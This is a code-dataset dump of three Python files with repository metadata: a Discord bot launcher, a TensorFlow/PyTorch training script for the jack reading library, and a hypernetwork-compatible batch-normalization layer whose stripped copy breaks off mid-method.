import discord from discord.ext import commands import os intents = discord.Intents.default() intents.members = True testing = False client = commands.Bot(command_prefix = "-", case_insensitive = True, intents=intents) client.remove_command('help') for filename in os.listdir('./cogs'): if filename.endswith('.py'): client.load_extension(f'cogs.{filename[:-3]}') client.run('# Discord Bot Token here')

24.222222

86

0.697248

import discord from discord.ext import commands import os intents = discord.Intents.default() intents.members = True testing = False client = commands.Bot(command_prefix = "-", case_insensitive = True, intents=intents) client.remove_command('help') for filename in os.listdir('./cogs'): if filename.endswith('.py'): client.load_extension(f'cogs.{filename[:-3]}') client.run('# Discord Bot Token here')

true

f7016acf98feae99af9da1775ed115b17df2200d

8,965

py

Python

jack/train_reader.py

elyase/jack

a4f43a4012a540d55d2e05d8a904e6f8cc3002f1

[ "MIT" ]

192

2017-10-19T18:04:56.000Z

2019-09-21T23:29:03.000Z

jack/train_reader.py

elyase/jack

a4f43a4012a540d55d2e05d8a904e6f8cc3002f1

[ "MIT" ]

120

2017-10-16T09:46:07.000Z

2019-06-20T18:34:24.000Z

jack/train_reader.py

elyase/jack

a4f43a4012a540d55d2e05d8a904e6f8cc3002f1

[ "MIT" ]

50

2017-10-19T09:57:45.000Z

2019-07-24T13:46:26.000Z

# -*- coding: utf-8 -*- import logging import math import os import random import shutil import tensorflow as tf from jack import readers from jack.core.tensorflow import TFReader from jack.eval import evaluate_reader, pretty_print_results from jack.util.hooks import LossHook, ExamplesPerSecHook, ETAHook logger = logging.getLogger(__name__) def train(reader, train_data, test_data, dev_data, configuration: dict, debug=False): if isinstance(reader, TFReader): train_tensorflow(reader, train_data, test_data, dev_data, configuration, debug) else: train_pytorch(reader, train_data, test_data, dev_data, configuration, debug) def train_tensorflow(reader, train_data, test_data, dev_data, configuration: dict, debug=False): import tensorflow as tf seed = configuration.get('seed', 0) # make everything deterministic random.seed(seed) tf.set_random_seed(seed) clip_value = configuration.get('clip_value') batch_size = configuration.get('batch_size') dev_batch_size = configuration.get('dev_batch_size') or batch_size epochs = configuration.get('epochs') l2 = configuration.get('l2') optimizer = configuration.get('optimizer') learning_rate = configuration.get('learning_rate') min_learning_rate = configuration.get('min_learning_rate') learning_rate_decay = configuration.get('learning_rate_decay') log_interval = configuration.get('log_interval') validation_interval = configuration.get('validation_interval') tensorboard_folder = configuration.get('tensorboard_folder') reader_type = configuration.get('reader') save_dir = configuration.get('save_dir') write_metrics_to = configuration.get('write_metrics_to') if clip_value != 0.0: clip_value = - abs(clip_value), abs(clip_value) learning_rate = tf.get_variable("learning_rate", initializer=learning_rate, dtype=tf.float32, trainable=False) lr_decay_op = learning_rate.assign(tf.maximum(learning_rate_decay * learning_rate, min_learning_rate)) name_to_optimizer = { 'gd': tf.train.GradientDescentOptimizer, 'adam': tf.train.AdamOptimizer, 'adagrad': tf.train.AdagradOptimizer, 'adadelta': tf.train.AdadeltaOptimizer, 'rmsprop': tf.train.RMSPropOptimizer } if optimizer not in name_to_optimizer: raise ValueError('Unknown optimizer: {}'.format(optimizer)) tf_optimizer_class = name_to_optimizer[optimizer] tf_optimizer = tf_optimizer_class(learning_rate=learning_rate) sw = None if tensorboard_folder is not None: if os.path.exists(tensorboard_folder): shutil.rmtree(tensorboard_folder) sw = tf.summary.FileWriter(tensorboard_folder) # Hooks iter_interval = 1 if debug else log_interval hooks = [LossHook(reader, iter_interval, summary_writer=sw), ETAHook(reader, iter_interval, int(math.ceil(len(train_data) / batch_size)), epochs), ExamplesPerSecHook(reader, batch_size, iter_interval, sw)] preferred_metric, best_metric = readers.eval_hooks[reader_type].preferred_metric_and_initial_score() def side_effect(metrics, prev_metric): """Returns: a state (in this case a metric) that is used as input for the next call""" if prev_metric is None: # store whole reader only at beginning of training reader.store(save_dir) m = metrics[preferred_metric] if prev_metric is not None and m < prev_metric: reader.session.run(lr_decay_op) logger.info("Decayed learning rate to: %.5f" % reader.session.run(learning_rate)) elif m > best_metric[0] and save_dir is not None: best_metric[0] = m reader.model_module.store(os.path.join(save_dir, "model_module")) logger.info("Saving reader to: %s" % save_dir) return m # this is the standard hook for the reader hooks.append(readers.eval_hooks[reader_type]( reader, dev_data, dev_batch_size, summary_writer=sw, side_effect=side_effect, iter_interval=validation_interval, epoch_interval=(1 if validation_interval is None else None), write_metrics_to=write_metrics_to)) # Train reader.train(tf_optimizer, train_data, batch_size, max_epochs=epochs, hooks=hooks, l2=l2, clip=clip_value, clip_op=tf.clip_by_value, summary_writer=sw) # Test final reader if dev_data is not None and save_dir is not None: reader.load(save_dir) result_dict = evaluate_reader(reader, dev_data, batch_size) logger.info("############### Results on the Dev Set##############") pretty_print_results(result_dict) if test_data is not None and save_dir is not None: reader.load(save_dir) result_dict = evaluate_reader(reader, test_data, batch_size) logger.info("############### Results on the Test Set##############") pretty_print_results(result_dict) def train_pytorch(reader, train_data, test_data, dev_data, configuration: dict, debug=False): import torch seed = configuration.get('seed') # make everything deterministic random.seed(seed) torch.manual_seed(seed) clip_value = configuration.get('clip_value') batch_size = configuration.get('batch_size') epochs = configuration.get('epochs') l2 = configuration.get('l2') optimizer = configuration.get('optimizer') learning_rate = configuration.get('learning_rate') learning_rate_decay = configuration.get('learning_rate_decay') log_interval = configuration.get('log_interval') validation_interval = configuration.get('validation_interval') tensorboard_folder = configuration.get('tensorboard_folder') model = configuration.get('reader') save_dir = configuration.get('save_dir') write_metrics_to = configuration.get('write_metrics_to') # need setup here already :( reader.setup_from_data(train_data, is_training=True) if clip_value != 0.0: clip_value = - abs(clip_value), abs(clip_value) name_to_optimizer = { 'gd': torch.optim.SGD, 'adam': torch.optim.Adam, 'adagrad': torch.optim.Adagrad, 'adadelta': torch.optim.Adadelta } if optimizer not in name_to_optimizer: raise ValueError('Unknown optimizer: {}'.format(optimizer)) torch_optimizer_class = name_to_optimizer[optimizer] params = list(reader.model_module.prediction_module.parameters()) params.extend(reader.model_module.loss_module.parameters()) torch_optimizer = torch_optimizer_class(params, lr=learning_rate) sw = None if tensorboard_folder is not None: if os.path.exists(tensorboard_folder): shutil.rmtree(tensorboard_folder) sw = tf.summary.FileWriter(tensorboard_folder) # Hooks iter_interval = 1 if debug else log_interval hooks = [LossHook(reader, iter_interval, summary_writer=sw), ExamplesPerSecHook(reader, batch_size, iter_interval, sw)] preferred_metric, best_metric = readers.eval_hooks[model].preferred_metric_and_initial_score() def side_effect(metrics, prev_metric): """Returns: a state (in this case a metric) that is used as input for the next call""" m = metrics[preferred_metric] if prev_metric is not None and m < prev_metric: for param_group in torch_optimizer.param_groups: param_group['lr'] *= learning_rate_decay logger.info("Decayed learning rate to: %.5f" % param_group['lr']) elif m > best_metric[0] and save_dir is not None: best_metric[0] = m if prev_metric is None: # store whole model only at beginning of training reader.store(save_dir) else: reader.model_module.store(os.path.join(save_dir, "model_module")) logger.info("Saving model to: %s" % save_dir) return m # this is the standard hook for the model hooks.append(readers.eval_hooks[model]( reader, dev_data, batch_size, summary_writer=sw, side_effect=side_effect, iter_interval=validation_interval, epoch_interval=(1 if validation_interval is None else None), write_metrics_to=write_metrics_to)) # Train reader.train(torch_optimizer, train_data, batch_size, max_epochs=epochs, hooks=hooks, l2=l2, clip=clip_value) # Test final model if dev_data is not None and save_dir is not None: reader.load(save_dir) result_dict = evaluate_reader(reader, dev_data, batch_size) logger.info("############### Results on the Dev Set##############") pretty_print_results(result_dict) if test_data is not None and save_dir is not None: reader.load(save_dir) result_dict = evaluate_reader(reader, test_data, batch_size) logger.info("############### Results on the Test Set##############") pretty_print_results(result_dict)

40.201794

114

0.695482

import logging import math import os import random import shutil import tensorflow as tf from jack import readers from jack.core.tensorflow import TFReader from jack.eval import evaluate_reader, pretty_print_results from jack.util.hooks import LossHook, ExamplesPerSecHook, ETAHook logger = logging.getLogger(__name__) def train(reader, train_data, test_data, dev_data, configuration: dict, debug=False): if isinstance(reader, TFReader): train_tensorflow(reader, train_data, test_data, dev_data, configuration, debug) else: train_pytorch(reader, train_data, test_data, dev_data, configuration, debug) def train_tensorflow(reader, train_data, test_data, dev_data, configuration: dict, debug=False): import tensorflow as tf seed = configuration.get('seed', 0) random.seed(seed) tf.set_random_seed(seed) clip_value = configuration.get('clip_value') batch_size = configuration.get('batch_size') dev_batch_size = configuration.get('dev_batch_size') or batch_size epochs = configuration.get('epochs') l2 = configuration.get('l2') optimizer = configuration.get('optimizer') learning_rate = configuration.get('learning_rate') min_learning_rate = configuration.get('min_learning_rate') learning_rate_decay = configuration.get('learning_rate_decay') log_interval = configuration.get('log_interval') validation_interval = configuration.get('validation_interval') tensorboard_folder = configuration.get('tensorboard_folder') reader_type = configuration.get('reader') save_dir = configuration.get('save_dir') write_metrics_to = configuration.get('write_metrics_to') if clip_value != 0.0: clip_value = - abs(clip_value), abs(clip_value) learning_rate = tf.get_variable("learning_rate", initializer=learning_rate, dtype=tf.float32, trainable=False) lr_decay_op = learning_rate.assign(tf.maximum(learning_rate_decay * learning_rate, min_learning_rate)) name_to_optimizer = { 'gd': tf.train.GradientDescentOptimizer, 'adam': tf.train.AdamOptimizer, 'adagrad': tf.train.AdagradOptimizer, 'adadelta': tf.train.AdadeltaOptimizer, 'rmsprop': tf.train.RMSPropOptimizer } if optimizer not in name_to_optimizer: raise ValueError('Unknown optimizer: {}'.format(optimizer)) tf_optimizer_class = name_to_optimizer[optimizer] tf_optimizer = tf_optimizer_class(learning_rate=learning_rate) sw = None if tensorboard_folder is not None: if os.path.exists(tensorboard_folder): shutil.rmtree(tensorboard_folder) sw = tf.summary.FileWriter(tensorboard_folder) iter_interval = 1 if debug else log_interval hooks = [LossHook(reader, iter_interval, summary_writer=sw), ETAHook(reader, iter_interval, int(math.ceil(len(train_data) / batch_size)), epochs), ExamplesPerSecHook(reader, batch_size, iter_interval, sw)] preferred_metric, best_metric = readers.eval_hooks[reader_type].preferred_metric_and_initial_score() def side_effect(metrics, prev_metric): if prev_metric is None: reader.store(save_dir) m = metrics[preferred_metric] if prev_metric is not None and m < prev_metric: reader.session.run(lr_decay_op) logger.info("Decayed learning rate to: %.5f" % reader.session.run(learning_rate)) elif m > best_metric[0] and save_dir is not None: best_metric[0] = m reader.model_module.store(os.path.join(save_dir, "model_module")) logger.info("Saving reader to: %s" % save_dir) return m hooks.append(readers.eval_hooks[reader_type]( reader, dev_data, dev_batch_size, summary_writer=sw, side_effect=side_effect, iter_interval=validation_interval, epoch_interval=(1 if validation_interval is None else None), write_metrics_to=write_metrics_to)) reader.train(tf_optimizer, train_data, batch_size, max_epochs=epochs, hooks=hooks, l2=l2, clip=clip_value, clip_op=tf.clip_by_value, summary_writer=sw) if dev_data is not None and save_dir is not None: reader.load(save_dir) result_dict = evaluate_reader(reader, dev_data, batch_size) logger.info("############### Results on the Dev Set##############") pretty_print_results(result_dict) if test_data is not None and save_dir is not None: reader.load(save_dir) result_dict = evaluate_reader(reader, test_data, batch_size) logger.info("############### Results on the Test Set##############") pretty_print_results(result_dict) def train_pytorch(reader, train_data, test_data, dev_data, configuration: dict, debug=False): import torch seed = configuration.get('seed') random.seed(seed) torch.manual_seed(seed) clip_value = configuration.get('clip_value') batch_size = configuration.get('batch_size') epochs = configuration.get('epochs') l2 = configuration.get('l2') optimizer = configuration.get('optimizer') learning_rate = configuration.get('learning_rate') learning_rate_decay = configuration.get('learning_rate_decay') log_interval = configuration.get('log_interval') validation_interval = configuration.get('validation_interval') tensorboard_folder = configuration.get('tensorboard_folder') model = configuration.get('reader') save_dir = configuration.get('save_dir') write_metrics_to = configuration.get('write_metrics_to') reader.setup_from_data(train_data, is_training=True) if clip_value != 0.0: clip_value = - abs(clip_value), abs(clip_value) name_to_optimizer = { 'gd': torch.optim.SGD, 'adam': torch.optim.Adam, 'adagrad': torch.optim.Adagrad, 'adadelta': torch.optim.Adadelta } if optimizer not in name_to_optimizer: raise ValueError('Unknown optimizer: {}'.format(optimizer)) torch_optimizer_class = name_to_optimizer[optimizer] params = list(reader.model_module.prediction_module.parameters()) params.extend(reader.model_module.loss_module.parameters()) torch_optimizer = torch_optimizer_class(params, lr=learning_rate) sw = None if tensorboard_folder is not None: if os.path.exists(tensorboard_folder): shutil.rmtree(tensorboard_folder) sw = tf.summary.FileWriter(tensorboard_folder) iter_interval = 1 if debug else log_interval hooks = [LossHook(reader, iter_interval, summary_writer=sw), ExamplesPerSecHook(reader, batch_size, iter_interval, sw)] preferred_metric, best_metric = readers.eval_hooks[model].preferred_metric_and_initial_score() def side_effect(metrics, prev_metric): m = metrics[preferred_metric] if prev_metric is not None and m < prev_metric: for param_group in torch_optimizer.param_groups: param_group['lr'] *= learning_rate_decay logger.info("Decayed learning rate to: %.5f" % param_group['lr']) elif m > best_metric[0] and save_dir is not None: best_metric[0] = m if prev_metric is None: reader.store(save_dir) else: reader.model_module.store(os.path.join(save_dir, "model_module")) logger.info("Saving model to: %s" % save_dir) return m hooks.append(readers.eval_hooks[model]( reader, dev_data, batch_size, summary_writer=sw, side_effect=side_effect, iter_interval=validation_interval, epoch_interval=(1 if validation_interval is None else None), write_metrics_to=write_metrics_to)) reader.train(torch_optimizer, train_data, batch_size, max_epochs=epochs, hooks=hooks, l2=l2, clip=clip_value) if dev_data is not None and save_dir is not None: reader.load(save_dir) result_dict = evaluate_reader(reader, dev_data, batch_size) logger.info("############### Results on the Dev Set##############") pretty_print_results(result_dict) if test_data is not None and save_dir is not None: reader.load(save_dir) result_dict = evaluate_reader(reader, test_data, batch_size) logger.info("############### Results on the Test Set##############") pretty_print_results(result_dict)

true

f7016b5152ebd061fcd29b371db0ceded5c080ba

23,671

py

Python

utils/batchnorm_layer.py

limberc/hypercl

ad098a3b18cf2a2ae6e3ecd28a2b7af698f7b807

[ "Apache-2.0" ]

null

utils/batchnorm_layer.py

limberc/hypercl

ad098a3b18cf2a2ae6e3ecd28a2b7af698f7b807

[ "Apache-2.0" ]

null

utils/batchnorm_layer.py

limberc/hypercl

ad098a3b18cf2a2ae6e3ecd28a2b7af698f7b807

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 # Copyright 2019 Christian Henning # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ - **title** :utils/batchnorm_layer.py - **author** :ch - **contact** :henningc@ethz.ch - **created** :09/02/2019 - **version** :1.0 - **python_version** :3.6.8 Implementation of a hypernet compatible batchnorm layer. The joint use of batch-normalization and hypernetworks is not straight forward, mainly due to the statistics accumulated by the batch-norm operation which expect the weights of the main network to only change slowly. If a hypernetwork replaces the whole set of weights, the statistics previously estimated by the batch-norm layer might be completely off. To circumvent this problem, we provide multiple solutions: - In a continual learning setting with one set of weights per task, we can simply estimate and store statistics per task (hence, the batch-norm operation has to be conditioned on the task). - The statistics are distilled into the hypernetwork. This would require the addition of an extra loss term. - The statistics can be treated as parameters that are outputted by the hypernetwork. In this case, nothing enforces that these "statistics" behave similar to statistics that would result from a running estimate (hence, the resulting operation might have nothing in common with batch- norm). - Always use the statistics estimated on the current batch. Note, we also provide the option of turning off the statistics, in which case the statistics will be set to zero mean and unit variance. This is helpful when interpreting batch-normalization as a general form of gain modulation (i.e., just applying a shift and scale to neural activities). """ from warnings import warn import torch import torch.nn as nn import torch.nn.functional as F class BatchNormLayer(nn.Module): r"""Hypernetwork-compatible batch-normalization layer. Note, batch normalization performs the following operation .. math:: y = \frac{x - \mathrm{E}[x]}{\sqrt{\mathrm{Var}[x] + \epsilon}} * \ \gamma + \beta This class allows to deviate from this standard implementation in order to provide the flexibility required when using hypernetworks. Therefore, we slightly change the notation to .. math:: y = \frac{x - m_{\text{stats}}^{(t)}}{\sqrt{v_{\text{stats}}^{(t)} + \ \epsilon}} * \gamma^{(t)} + \beta^{(t)} We use this notation to highlight that the running statistics :math:`m_{\text{stats}}^{(t)}` and :math:`v_{\text{stats}}^{(t)}` are not necessarily estimates resulting from mean and variance computation but might be learned parameters (e.g., the outputs of a hypernetwork). We additionally use the superscript :math:`(t)` to denote that the gain :math:`\gamma`, offset :math:`\beta` and statistics may be dynamically selected based on some external context information. This class provides the possibility to checkpoint statistics :math:`m_{\text{stats}}^{(t)}` and :math:`v_{\text{stats}}^{(t)}`, but **not** gains and offsets. .. note:: If context-dependent gains :math:`\gamma^{(t)}` and offsets :math:`\beta^{(t)}` are required, then they have to be maintained externally, e.g., via a task-conditioned hypernetwork (see `this paper`_ for an example) and passed to the :meth:`forward` method. .. _this paper: https://arxiv.org/abs/1906.00695 Attributes: weights: A list of all internal weights of this layer. If all weights are assumed to be generated externally, then this attribute will be ``None``. param_shapes: A list of list of integers. Each list represents the shape of a parameter tensor. Note, this attribute is independent of the attribute :attr:`weights`, it always comprises the shapes of all weight tensors as if the network would be stand- alone (i.e., no weights being passed to the :meth:`forward` method). Note, unless ``learnable_stats`` is enabled, the layer statistics are not considered here. hyper_shapes: A list of list of integers. Each list represents the shape of a weight tensor that can be passed to the :meth:`forward` method. If all weights are maintained internally, then this attribute will be ``None``. Specifically, this attribute is controlled by the argument ``affine``. If ``affine`` is ``True``, this attribute will be ``None``. Otherwise this attribute contains the shape of :math:`\gamma` and :math:`\beta`. num_stats: The number :math:`T` of internally managed statistics :math:`\{(m_{\text{stats}}^{(1)}, v_{\text{stats}}^{(1)}), \dots, \ (m_{\text{stats}}^{(T)}, v_{\text{stats}}^{(T)}) \}`. This number is incremented everytime the method :meth:`checkpoint_stats` is called. """ def __init__(self, num_features, momentum=0.1, affine=True, track_running_stats=True, frozen_stats=False, learnable_stats=False): r""" Args: num_features: See argument ``num_features``, for instance, of class :class:`torch.nn.BatchNorm1d`. momentum: See argument ``momentum`` of class :class:`torch.nn.BatchNorm1d`. affine: See argument ``affine`` of class :class:`torch.nn.BatchNorm1d`. If set to :code:`False`, the input activity will simply be "whitened" according to the applied layer statistics (except if gain :math:`\gamma` and offset :math:`\beta` are passed to the :meth:`forward` method). Note, if ``learnable_stats`` is :code:`False`, then setting ``affine`` to :code:`False` results in no learnable weights for this layer (running stats might still be updated, but not via gradient descent). Note, even if this option is ``False``, one may still pass a gain :math:`\gamma` and offset :math:`\beta` to the :meth:`forward` method. track_running_stats: See argument ``track_running_stats`` of class :class:`torch.nn.BatchNorm1d`. frozen_stats: If ``True``, the layer statistics are frozen at their initial values of :math:`\gamma = 1` and :math:`\beta = 0`, i.e., layer activity will not be whitened. Note, this option requires ``track_running_stats`` to be set to ``False``. learnable_stats: If ``True``, the layer statistics are initialized as learnable parameters (:code:`requires_grad=True`). Note, these extra parameters will be maintained internally and not added to the :attr:`weights`. Statistics can always be maintained externally and passed to the :meth:`forward` method. Note, this option requires ``track_running_stats`` to be set to ``False``. """ super(BatchNormLayer, self).__init__() if learnable_stats: # FIXME We need our custom stats computation for this. # The running stats updated by `torch.nn.functional.batch_norm` do # not allow backpropagation. # See here on how they are computed: # https://github.com/pytorch/pytorch/blob/96fe2b4ecbbd02143d95f467655a2d697282ac32/aten/src/ATen/native/Normalization.cpp#L137 raise NotImplementedError('Option "learnable_stats" has not been ' + 'implemented yet!') if momentum is None: # If one wants to implement this, then please note that the # attribute `num_batches_tracked` has to be added. Also, note the # extra code for computing the momentum value in the forward method # of class `_BatchNorm`: # https://pytorch.org/docs/stable/_modules/torch/nn/modules/batchnorm.html#_BatchNorm raise NotImplementedError('This reimplementation of PyTorch its ' + 'batchnorm layer does not support ' + 'setting "momentum" to None.') if learnable_stats and track_running_stats: raise ValueError('Option "track_running_stats" must be set to ' + 'False when enabling "learnable_stats".') if frozen_stats and track_running_stats: raise ValueError('Option "track_running_stats" must be set to ' + 'False when enabling "frozen_stats".') self._num_features = num_features self._momentum = momentum self._affine = affine self._track_running_stats = track_running_stats self._frozen_stats = frozen_stats self._learnable_stats = learnable_stats self.register_buffer('_num_stats', torch.tensor(0, dtype=torch.long)) self._weights = nn.ParameterList() self._param_shapes = [[num_features], [num_features]] if affine: # Gamma self.register_parameter('scale', nn.Parameter( \ torch.Tensor(num_features), requires_grad=True)) # Beta self.register_parameter('bias', nn.Parameter( \ torch.Tensor(num_features), requires_grad=True)) self._weights.append(self.scale) self._weights.append(self.bias) nn.init.ones_(self.scale) nn.init.zeros_(self.bias) elif not learnable_stats: self._weights = None if learnable_stats: # Don't forget to add the new params to `self._weights`. # Don't forget to add shapes to `self._param_shapes`. raise NotImplementedError() elif track_running_stats or frozen_stats: # Note, in case of frozen stats, we just don't update the stats # initialized here later on. self.checkpoint_stats() else: mname, vname = self._stats_names(0) self.register_buffer(mname, None) self.register_buffer(vname, None) @property def weights(self): """Getter for read-only attribute :attr:`weights`. Returns: A :class:`torch.nn.ParameterList` or ``None``, if no parameters are internally maintained. """ return self._weights @property def param_shapes(self): """Getter for read-only attribute :attr:`param_shapes`. Returns: A list of lists of integers. """ return self._param_shapes @property def hyper_shapes(self): """Getter for read-only attribute :attr:`hyper_shapes`. Returns: A list of lists of integers. """ # FIXME not implemented attribute. Do we even need the attribute, given # that all components are individually passed to the forward method? raise NotImplementedError('Not implemented yet!') return self._hyper_shapes @property def num_stats(self): """Getter for read-only attribute :attr:`num_stats`. Returns: (int) """ return self._num_stats def forward(self, inputs, running_mean=None, running_var=None, weight=None, bias=None, stats_id=None): r"""Apply batch normalization to given layer activations. Based on the state if this module (attribute :attr:`training`), the configuration of this layer and the parameters currently passed, the behavior of this function will be different. The core of this method still relies on the function :func:`torch.nn.functional.batch_norm`. In the following we list the different behaviors of this method based on the context. **In training mode:** We first consider the case that this module is in training mode, i.e., :meth:`torch.nn.Module.train` has been called. Usually, during training, the running statistics are not used when computing the output, instead the statistics computed on the current batch are used (denoted by *use batch stats* in the table below). However, the batch statistics are typically updated during training (denoted by *update running stats* in the table below). The above described scenario would correspond to passing batch statistics to the function :func:`torch.nn.functional.batch_norm` and setting the parameter ``training`` to ``True``. +----------------------+---------------------+-------------------------+ | **training mode** | **use batch stats** | **update running stats**| +----------------------+---------------------+-------------------------+ | given stats | Yes | Yes | +----------------------+---------------------+-------------------------+ | track running stats | Yes | Yes | +----------------------+---------------------+-------------------------+ | frozen stats | No | No | +----------------------+---------------------+-------------------------+ | learnable stats | Yes | Yes [1]_ | +----------------------+---------------------+-------------------------+ |no track running stats| Yes | No | +----------------------+---------------------+-------------------------+ The meaning of each row in this table is as follows: - **given stats**: External stats are provided via the parameters ``running_mean`` and ``running_var``. - **track running stats**: If ``track_running_stats`` was set to ``True`` in the constructor and no stats were given. - **frozen stats**: If ``frozen_stats`` was set to ``True`` in the constructor and no stats were given. - **learnable stats**: If ``learnable_stats`` was set to ``True`` in the constructor and no stats were given. - **no track running stats**: If none of the above options apply, then the statistics will always be computed from the current batch (also in eval mode). .. note:: If provided, running stats specified via ``running_mean`` and ``running_var`` always have priority. .. [1] We use a custom implementation to update the running statistics, that is compatible with backpropagation. **In evaluation mode:** We now consider the case that this module is in evaluation mode, i.e., :meth:`torch.nn.Module.eval` has been called. Here is the same table as above just for the evaluation mode. +----------------------+---------------------+-------------------------+ | **evaluation mode** | **use batch stats** | **update running stats**| +----------------------+---------------------+-------------------------+ | track running stats | No | No | +----------------------+---------------------+-------------------------+ | frozen stats | No | No | +----------------------+---------------------+-------------------------+ | learnable stats | No | No | +----------------------+---------------------+-------------------------+ | given stats | No | No | +----------------------+---------------------+-------------------------+ |no track running stats| Yes | No | +----------------------+---------------------+-------------------------+ Args: inputs: The inputs to the batchnorm layer. running_mean (optional): Running mean stats :math:`m_{\text{stats}}`. This option has priority, i.e., any internally maintained statistics are ignored if given. .. note:: If specified, then ``running_var`` also has to be specified. running_var (optional): Similar to option ``running_mean``, but for the running variance stats :math:`v_{\text{stats}}` .. note:: If specified, then ``running_mean`` also has to be specified. weight (optional): The gain factors :math:`\gamma`. If given, any internal gains are ignored. If option ``affine`` was set to ``False`` in the constructor and this option remains ``None``, then no gains are multiplied to the "whitened" inputs. bias (optional): The behavior of this option is similar to option ``weight``, except that this option represents the offsets :math:`\beta`. stats_id: This argument is optional except if multiple running stats checkpoints exist (i.e., attribute :attr:`num_stats` is greater than 1) and no running stats have been provided to this method. .. note:: This argument is ignored if running stats have been passed. Returns: The layer activation ``inputs`` after batch-norm has been applied. """ assert (running_mean is None and running_var is None or \ running_mean is not None and running_var is not None) if not self._affine: if weight is None or bias is None: raise ValueError('Layer was generated in non-affine mode. ' + 'Therefore, arguments "weight" and "bias" ' + 'may not be None.') # No gains given but we have internal gains. # Otherwise, if no gains are given we leave `weight` as None. if weight is None and self._affine: weight = self.scale if bias is None and self._affine: bias = self.bias stats_given = running_mean is not None if (running_mean is None or running_var is None): if stats_id is None and self.num_stats > 1: raise ValueError('Parameter "stats_id" is not defined but ' + 'multiple running stats are available.') elif self._track_running_stats: if stats_id is None: stats_id = 0 assert (stats_id < self.num_stats) rm, rv = self.get_stats(stats_id) if running_mean is None: running_mean = rm if running_var is None: running_var = rv elif stats_id is not None: warn('Parameter "stats_id" is ignored since running stats have ' + 'been provided.') momentum = self._momentum if stats_given or self._track_running_stats: return F.batch_norm(inputs, running_mean, running_var, weight=weight, bias=bias, training=self.training, momentum=momentum) if self._learnable_stats: raise NotImplementedError() if self._frozen_stats: return F.batch_norm(inputs, running_mean, running_var, weight=weight, bias=bias, training=False) # TODO implement scale and shift here. Note, that `running_mean` and # `running_var` are always 0 and 1, resp. Therefore, the call to # `F.batch_norm` is a waste of computation. # ret = inputs # if weight is not None: # # Multiply `ret` with `weight` such that dimensions are # # respected. # pass # if bias is not None: # # Add `bias` to modified `ret` such that dimensions are # # respected. # pass # return ret else: assert (not self._track_running_stats) # Always compute statistics based on current batch. return F.batch_norm(inputs, None, None, weight=weight, bias=bias, training=True, momentum=momentum) def checkpoint_stats(self, device=None): """Buffers for a new set of running stats will be registered. Calling this function will also increment the attribute :attr:`num_stats`. Args: device (optional): If not provided, the newly created statistics will either be moved to the device of the most recent statistics or to CPU if no prior statistics exist. """ assert (self._track_running_stats or \ self._frozen_stats and self._num_stats == 0) if device is None: if self.num_stats > 0: mname_old, _ = self._stats_names(self._num_stats - 1) device = getattr(self, mname_old).device if self._learnable_stats: raise NotImplementedError() mname, vname = self._stats_names(self._num_stats) self._num_stats += 1 self.register_buffer(mname, torch.zeros(self._num_features, device=device)) self.register_buffer(vname, torch.ones(self._num_features, device=device)) def get_stats(self, stats_id=None): """Get a set of running statistics (means and variances). Args: stats_id (optional): ID of stats. If not provided, the most recent stats are returned. Returns: (tuple): Tuple containing: - **running_mean** - **running_var** """ if stats_id is None: stats_id = self.num_stats - 1 assert (stats_id < self.num_stats) mname, vname = self._stats_names(stats_id) running_mean = getattr(self, mname) running_var = getattr(self, vname) return running_mean, running_var def _stats_names(self, stats_id): """Get the buffer names for mean and variance statistics depending on the ``stats_id``, i.e., the ID of the stats checkpoint. Args: stats_id: ID of stats. Returns: (tuple): Tuple containing: - **mean_name** - **var_name** """ mean_name = 'mean_%d' % stats_id var_name = 'var_%d' % stats_id return mean_name, var_name if __name__ == '__main__': pass

44.080074

138

0.567023

from warnings import warn import torch import torch.nn as nn import torch.nn.functional as F class BatchNormLayer(nn.Module): def __init__(self, num_features, momentum=0.1, affine=True, track_running_stats=True, frozen_stats=False, learnable_stats=False): super(BatchNormLayer, self).__init__() if learnable_stats: raise NotImplementedError('Option "learnable_stats" has not been ' + 'implemented yet!') if momentum is None: raise NotImplementedError('This reimplementation of PyTorch its ' + 'batchnorm layer does not support ' + 'setting "momentum" to None.') if learnable_stats and track_running_stats: raise ValueError('Option "track_running_stats" must be set to ' + 'False when enabling "learnable_stats".') if frozen_stats and track_running_stats: raise ValueError('Option "track_running_stats" must be set to ' + 'False when enabling "frozen_stats".') self._num_features = num_features self._momentum = momentum self._affine = affine self._track_running_stats = track_running_stats self._frozen_stats = frozen_stats self._learnable_stats = learnable_stats self.register_buffer('_num_stats', torch.tensor(0, dtype=torch.long)) self._weights = nn.ParameterList() self._param_shapes = [[num_features], [num_features]] if affine: self.register_parameter('scale', nn.Parameter( \ torch.Tensor(num_features), requires_grad=True)) self.register_parameter('bias', nn.Parameter( \ torch.Tensor(num_features), requires_grad=True)) self._weights.append(self.scale) self._weights.append(self.bias) nn.init.ones_(self.scale) nn.init.zeros_(self.bias) elif not learnable_stats: self._weights = None if learnable_stats: # Don't forget to add shapes to `self._param_shapes`. raise NotImplementedError() elif track_running_stats or frozen_stats: # initialized here later on. self.checkpoint_stats() else: mname, vname = self._stats_names(0) self.register_buffer(mname, None) self.register_buffer(vname, None) @property def weights(self): return self._weights @property def param_shapes(self): return self._param_shapes @property def hyper_shapes(self): # FIXME not implemented attribute. Do we even need the attribute, given # that all components are individually passed to the forward method? raise NotImplementedError('Not implemented yet!') return self._hyper_shapes @property def num_stats(self): return self._num_stats def forward(self, inputs, running_mean=None, running_var=None, weight=None, bias=None, stats_id=None): assert (running_mean is None and running_var is None or \ running_mean is not None and running_var is not None) if not self._affine: if weight is None or bias is None: raise ValueError('Layer was generated in non-affine mode. ' + 'Therefore, arguments "weight" and "bias" ' + 'may not be None.') # No gains given but we have internal gains. # Otherwise, if no gains are given we leave `weight` as None. if weight is None and self._affine: weight = self.scale if bias is None and self._affine: bias = self.bias stats_given = running_mean is not None if (running_mean is None or running_var is None): if stats_id is None and self.num_stats > 1: raise ValueError('Parameter "stats_id" is not defined but ' + 'multiple running stats are available.') elif self._track_running_stats: if stats_id is None: stats_id = 0 assert (stats_id < self.num_stats) rm, rv = self.get_stats(stats_id) if running_mean is None: running_mean = rm if running_var is None: running_var = rv elif stats_id is not None: warn('Parameter "stats_id" is ignored since running stats have ' + 'been provided.') momentum = self._momentum if stats_given or 